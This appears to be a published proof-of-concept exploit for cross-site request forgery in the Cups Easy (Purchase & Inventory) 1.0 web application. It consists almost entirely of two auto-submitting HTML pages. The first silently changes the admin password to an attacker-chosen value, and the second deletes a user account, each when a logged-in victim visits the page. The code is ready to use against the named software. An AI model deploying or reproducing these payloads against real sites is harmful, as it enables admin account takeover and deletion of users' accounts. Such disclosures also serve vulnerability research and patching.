# The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery 
# that would allow an attacker to change the Admin password and gain unrestricted 
# access to the site or delete any user.

# Proof of Concept Code for Password Change:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="PASSWORDHERE" />
      <input type="hidden" name="change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

# Proof of concept for user delete:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="delete" value="Delete" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
